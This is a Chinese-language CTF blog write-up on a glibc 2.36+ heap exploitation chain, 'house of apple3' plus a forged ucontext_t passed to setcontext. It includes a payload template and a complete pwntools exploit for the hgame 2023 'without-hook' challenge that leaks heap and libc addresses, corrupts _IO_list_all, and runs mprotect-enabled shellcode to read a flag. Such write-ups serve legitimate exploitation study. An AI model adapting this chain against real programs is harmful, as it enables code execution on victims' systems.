house of apple + house of 一骑绝尘

本文最后更新于:2023年2月16日 下午

house of apple3 + house of 一骑当千

libc2.36之后,去除了我们常用的magic gadget,以至于我们无法通过house of apple控制rdx,从而实现ORW。但是house of 一骑绝尘为我们提供了一个新的思路 。伪造ucontext_t结构体,通过执行setcontext控制rdx。

house of apple3

基于IO_FILE->_codecvt的利用方法。详细请参考roderick01师傅的博客。

house of 一骑当千

key struct

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
/* Container for all general registers.  */
typedef greg_t gregset_t[__NGREG];
#ifdef __USE_GNU
/* Number of each register in the `gregset_t' array. */
enum
{
REG_R8 = 0,
# define REG_R8 REG_R8
REG_R9,
# define REG_R9 REG_R9
REG_R10,
# define REG_R10 REG_R10
REG_R11,
# define REG_R11 REG_R11
REG_R12,
# define REG_R12 REG_R12
REG_R13,
# define REG_R13 REG_R13
REG_R14,
# define REG_R14 REG_R14
REG_R15,
# define REG_R15 REG_R15
REG_RDI,
# define REG_RDI REG_RDI
REG_RSI,
# define REG_RSI REG_RSI
REG_RBP,
# define REG_RBP REG_RBP
REG_RBX,
# define REG_RBX REG_RBX
REG_RDX,
# define REG_RDX REG_RDX
REG_RAX,
# define REG_RAX REG_RAX
REG_RCX,
# define REG_RCX REG_RCX
REG_RSP,
# define REG_RSP REG_RSP
REG_RIP,
# define REG_RIP REG_RIP
REG_EFL,
# define REG_EFL REG_EFL
REG_CSGSFS, /* Actually short cs, gs, fs, __pad0. */
# define REG_CSGSFS REG_CSGSFS
REG_ERR,
# define REG_ERR REG_ERR
REG_TRAPNO,
# define REG_TRAPNO REG_TRAPNO
REG_OLDMASK,
# define REG_OLDMASK REG_OLDMASK
REG_CR2
# define REG_CR2 REG_CR2
};
#endif

struct _libc_fpxreg
{
unsigned short int __ctx(significand)[4];
unsigned short int __ctx(exponent);
unsigned short int __glibc_reserved1[3];
};
struct _libc_xmmreg
{
__uint32_t __ctx(element)[4];
};
struct _libc_fpstate
{
/* 64-bit FXSAVE format. */
__uint16_t __ctx(cwd);
__uint16_t __ctx(swd);
__uint16_t __ctx(ftw);
__uint16_t __ctx(fop);
__uint64_t __ctx(rip);
__uint64_t __ctx(rdp);
__uint32_t __ctx(mxcsr); // 0x1c0
__uint32_t __ctx(mxcr_mask);
struct _libc_fpxreg _st[8];
struct _libc_xmmreg _xmm[16];
__uint32_t __glibc_reserved1[24];
};
/* Structure to describe FPU registers. */
typedef struct _libc_fpstate *fpregset_t;

/* Context to describe whole processor state. */
typedef struct
{
gregset_t __ctx(gregs); // size = 0xb8
/* Note that fpregs is a pointer. */
fpregset_t __ctx(fpregs); // 0x8
__extension__ unsigned long long __reserved1 [8]; // 0x40
} mcontext_t; // size = 0x100

struct stack_t {
void *ss_sp;
int ss_flags;
size_t ss_size;
}

/* Userlevel context. */
typedef struct ucontext_t
{
unsigned long int __ctx(uc_flags);
struct ucontext_t *uc_link;
stack_t uc_stack; // size = 0x18
mcontext_t uc_mcontext; // size = 0x100, offset = 0x28
sigset_t uc_sigmask; // size = 0x80, offset = 0x128
struct _libc_fpstate __fpregs_mem; // size = 0x200, offset = 0x1a8
__extension__ unsigned long long int __ssp[4];
} ucontext_t; // size = 0x3c8

setcontext(x86)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<+0>:	endbr64 
<+4>: push rdi
<+5>: lea rsi,[rdi+0x128]
<+12>: xor edx,edx
<+14>: mov edi,0x2
<+19>: mov r10d,0x8
<+25>: mov eax,0xe
<+30>: syscall
<+32>: pop rdx # key
<+33>: cmp rax,0xfffffffffffff001
<+39>: jae <setcontext+335>
<+45>: mov rcx,QWORD PTR [rdx+0xe0]
<+52>: fldenv [rcx] # 加载浮点环境,可写
<+54>: ldmxcsr DWORD PTR [rdx+0x1c0] # 加载mxcsr寄存器,全为0即可
<+61>: mov rsp,QWORD PTR [rdx+0xa0]
<+68>: mov rbx,QWORD PTR [rdx+0x80]
<+75>: mov rbp,QWORD PTR [rdx+0x78]
<+79>: mov r12,QWORD PTR [rdx+0x48]
<+83>: mov r13,QWORD PTR [rdx+0x50]
<+87>: mov r14,QWORD PTR [rdx+0x58]
<+91>: mov r15,QWORD PTR [rdx+0x60]
<+95>: test DWORD PTR fs:0x48,0x2
<+107>: je <setcontext+294>
# ......
<+294>: mov rcx,QWORD PTR [rdx+0xa8]
<+301>: push rcx
<+302>: mov rsi,QWORD PTR [rdx+0x70]
<+306>: mov rdi,QWORD PTR [rdx+0x68]
<+310>: mov rcx,QWORD PTR [rdx+0x98]
<+317>: mov r8,QWORD PTR [rdx+0x28]
<+321>: mov r9,QWORD PTR [rdx+0x30]
<+325>: mov rdx,QWORD PTR [rdx+0x88]
<+332>: xor eax,eax
<+334>: ret
<+335>: mov rcx,QWORD PTR [rip+0x1c528a]
<+342>: neg eax
<+344>: mov DWORD PTR fs:[rcx],eax
<+347>: or rax,0xffffffffffffffff
<+351>: ret

阅读setcontext源代码可知,我们之前利用是从setcontext + 61开始,所以我们需要想办法控制rdx。但是我们可以看到,该函数一开始就将rdi压栈,并且出栈给rdx,所以我们只要控制rdi,即setcontext第一个参数,并且绕过一些判断,就可以实现rdi控制rdx,进行ORW的目的。

模板(orw)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
fake_IO_file_addr = heap + 0xcf0
fake_ucontext_addr = fake_IO_file_addr + 0x100

# house of apple3
fake_IO_file = p64(0xffffffffffffffff) #_IO_read_endtable
fake_IO_file += p64(0) * 2 + p64(1)
fake_IO_file = fake_IO_file.ljust(0x30, b'\x00')
fake_IO_file += p64(fake_IO_file_addr + 0x100) # _IO_buf_end = fake_addr
fake_IO_file = fake_IO_file.ljust(0x88, b'\x00')
fake_IO_file += p64(fake_IO_file_addr + 0x40) # _codecvt
fake_IO_file += p64(_IO_wide_data_1) # 尽量保持不变
fake_IO_file = fake_IO_file.ljust(0xc8, b'\x00')
fake_IO_file += p64(_IO_wfile_jumps + 0x8) # vtable
fake_IO_file = fake_IO_file.ljust(0xf0, b'\x00')
fake_IO_file += p64(0) # fake_ucontext_addr
fake_IO_file += p64(0) * 4
fake_IO_file += p64(setcontext)

# house of 一骑当千
rdi = fake_ucontext_addr & ~0xfff # heap_addr binsh_addr
rsi = 0x1000
rbp = fake_ucontext_addr + 0x100
rbx = 0
rdx = 7
rcx = 0
rax = 0
rsp = fake_ucontext_addr + 0x100
rip = mprotect

ucontext = b''
ucontext += p64(0) * 7
ucontext += p64(rdi) + p64(rsi)
ucontext += p64(rbp) + p64(rbx)
ucontext += p64(rdx) + p64(rcx)
ucontext += p64(rax)
ucontext += p64(rsp) + p64(rip)
ucontext = ucontext.ljust((0xe0 - 0x30), b'\x00')
ucontext += p64(heap + 0x1000)
ucontext = ucontext.ljust((0x100 - 0x30), b'\x00')

shellcode = p64(fake_ucontext_addr + 0x110) + p64(0) + asm(shellcraft.cat('flag'))

payload = fake_IO_file + ucontext + bytes(shellcode)

例题

这里以2023 hgame week4 pwn without-hook为例,具体分析可以看2022-hgame-week4,那一篇是使用house of cat打的。这里我们使用新方法。

详细wp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './vuln'
elf = ELF(fn)
# libc = ELF('/home/haha2022/tools/glibc-all-in-one/libs/2.36-0ubuntu4_amd64/libc.so.6')
libc = elf.libc

debug = 0
if debug:
p = remote('week-4.hgame.lwsec.cn', 30776)
else:
p = process(fn)


malloc_hook, free_hook = 0, 0
system, execve, binsh = 0, 0, 0
setcontext, mprotect = 0, 0
_open, read, write = 0, 0, 0
_IO_list_all, _IO_stdfile_2_lock, _IO_wide_data_1 = 0, 0, 0
_IO_file_jumps, _IO_wfile_jumps, _IO_cookie_jumps, _IO_obstack_jumps = 0, 0, 0, 0
_IO_wfile_jumps_mmap = 0

def get_gadgets(libc_base):
global malloc_hook, free_hook, binsh, system, execve, setcontext, _open, read, write, mprotect
global _IO_list_all, _IO_stdfile_2_lock, _IO_wide_data_1
global _IO_file_jumps, _IO_wfile_jumps, _IO_cookie_jumps, _IO_obstack_jumps, _IO_wfile_jumps_mmap

free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']

binsh = libc_base + libc.search(b'/bin/sh').__next__()
system = libc_base + libc.sym['system']
execve = libc_base + libc.sym['execve']

setcontext = libc_base + libc.sym['setcontext']
mprotect = libc_base + libc.sym['mprotect']

_open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
_IO_list_all = libc_base + libc.sym['_IO_list_all']

_IO_stdfile_2_lock = libc_base + 0x1f8a20
_IO_wide_data_1 = libc_base + 0x1f69a0
_IO_file_jumps = libc_base
_IO_wfile_jumps = libc_base + 0x1f3240
_IO_wfile_jumps_mmap = libc_base
_IO_obstack_jumps = libc_base
_IO_cookie_jumps = libc_base


log.success('libc_base: ' + hex(libc_base))
log.success('malloc_hook: ' + hex(malloc_hook))
log.success('free_hook: ' + hex(free_hook))
log.success('system: ' + hex(system))
log.success('execve: ' + hex(execve))
log.success('setcontext: ' + hex(setcontext))
log.success('mprotect: ' + hex(mprotect))
log.success('IO_llist_all: ' + hex(_IO_list_all))


lg = lambda x, y: log.success(f'{x}: {hex(y)}')

sd = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

rv = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rt = lambda x: p.can_recv_raw(timeout=x)


def menu(index):
p.sendlineafter('>', str(index))


def add(index, size):
menu(1)
p.sendlineafter('Index: ', str(index))
p.sendlineafter('Size: ', str(size))


def show(index):
menu(4)
p.sendlineafter('Index: ', str(index))


def edit(index, content):
menu(3)
p.sendlineafter('Index: ', str(index))
p.sendlineafter('Content: ', content)


def delete(index):
menu(2)
p.sendlineafter('Index: ', str(index))

def _exit():
menu(5)


add(0, 0x520)
add(1, 0x520)
add(2, 0x510)
add(3, 0x500)

delete(0)
delete(2)

show(2)
heap = u64(rv(6).ljust(8, b'\x00')) - 0x290
lg('heap', heap)

show(0)
leak = u64(ru('\x7f')[-6:].ljust(8, b'\x00'))
lg('leak', leak)
libc_base = leak - 0x1f6cc0 - 0x20

get_gadgets(libc_base)

# libc-2.37-1
pop_rdi_ret = libc_base + 0x00000000000240e5
pop_rsi_ret = libc_base + 0x000000000002573e
pop_rdx_ret = libc_base + 0x0000000000026302
pop_rax_ret = libc_base + 0x0000000000040123
syscall_ret = libc_base + 0x000000000008b966
ret = pop_rdi_ret + 1

add(4, 0x510)

payload = p64(libc_base + 0x1f7100) * 2 + p64(heap + 0x290) + p64(_IO_list_all - 0x20)
edit(0, payload)

delete(4)
add(5, 0x540)

edit(1, payload)

fake_IO_file_addr = heap + 0xcf0
fake_ucontext_addr = fake_IO_file_addr + 0x100

# house of apple3
fake_IO_file = p64(0xffffffffffffffff) #_IO_read_endtable
fake_IO_file += p64(0) * 2 + p64(1)
fake_IO_file = fake_IO_file.ljust(0x30, b'\x00')
fake_IO_file += p64(fake_IO_file_addr + 0x100) # _IO_buf_end = fake_addr
fake_IO_file = fake_IO_file.ljust(0x88, b'\x00')
fake_IO_file += p64(fake_IO_file_addr + 0x40) # _codecvt
fake_IO_file += p64(_IO_wide_data_1) # 尽量保持不变
fake_IO_file = fake_IO_file.ljust(0xc8, b'\x00')
fake_IO_file += p64(_IO_wfile_jumps + 0x8) # vtable
fake_IO_file = fake_IO_file.ljust(0xf0, b'\x00')
fake_IO_file += p64(0) # fake_ucontext_addr
fake_IO_file += p64(0) * 4
fake_IO_file += p64(setcontext)

rdi = fake_ucontext_addr & ~0xfff # heap_addr binsh_addr
rsi = 0x1000
rbp = fake_ucontext_addr + 0x100
rbx = 0
rdx = 7
rcx = 0
rax = 0
rsp = fake_ucontext_addr + 0x100
rip = mprotect

ucontext = b''
ucontext += p64(0) * 7
ucontext += p64(rdi) + p64(rsi)
ucontext += p64(rbp) + p64(rbx)
ucontext += p64(rdx) + p64(rcx)
ucontext += p64(rax)
ucontext += p64(rsp) + p64(rip)
ucontext = ucontext.ljust((0xe0 - 0x30), b'\x00')
ucontext += p64(heap + 0x1000)
ucontext = ucontext.ljust((0x100 - 0x30), b'\x00')

shellcode = p64(fake_ucontext_addr + 0x110) + p64(0) + asm(shellcraft.cat('flag'))

payload = fake_IO_file + ucontext + bytes(shellcode)

edit(2, payload)

gdb.attach(p, 'b setcontext')
pause()

_exit()

p.interactive()

house of apple3的调用链,最终执行到setcontext

image-20230216140325429

image-20230216140540993

调用mpotect,执行我们的orw

image-20230216140705434

image-20230216140644206

总结

这篇文章结合了house of apple3house of 一骑绝尘。容易想到的是,house of 一骑绝尘还可以与house of apple2,甚至其他的house of 系列结合,比如我超啊师傅同时提出的house of 魑魅魍魉。不得不说,师傅们真的太强了,向师傅们学习。

参考文章:

https://bbs.kanxue.com/thread-276056.htm

https://bbs.kanxue.com/thread-273863.htm


house of apple + house of 一骑绝尘
http://example.com/2023/02/16/house-of-apple-house-of-一骑绝尘/
作者
l1s00t
发布于
2023年2月16日
更新于
2023年2月16日
许可协议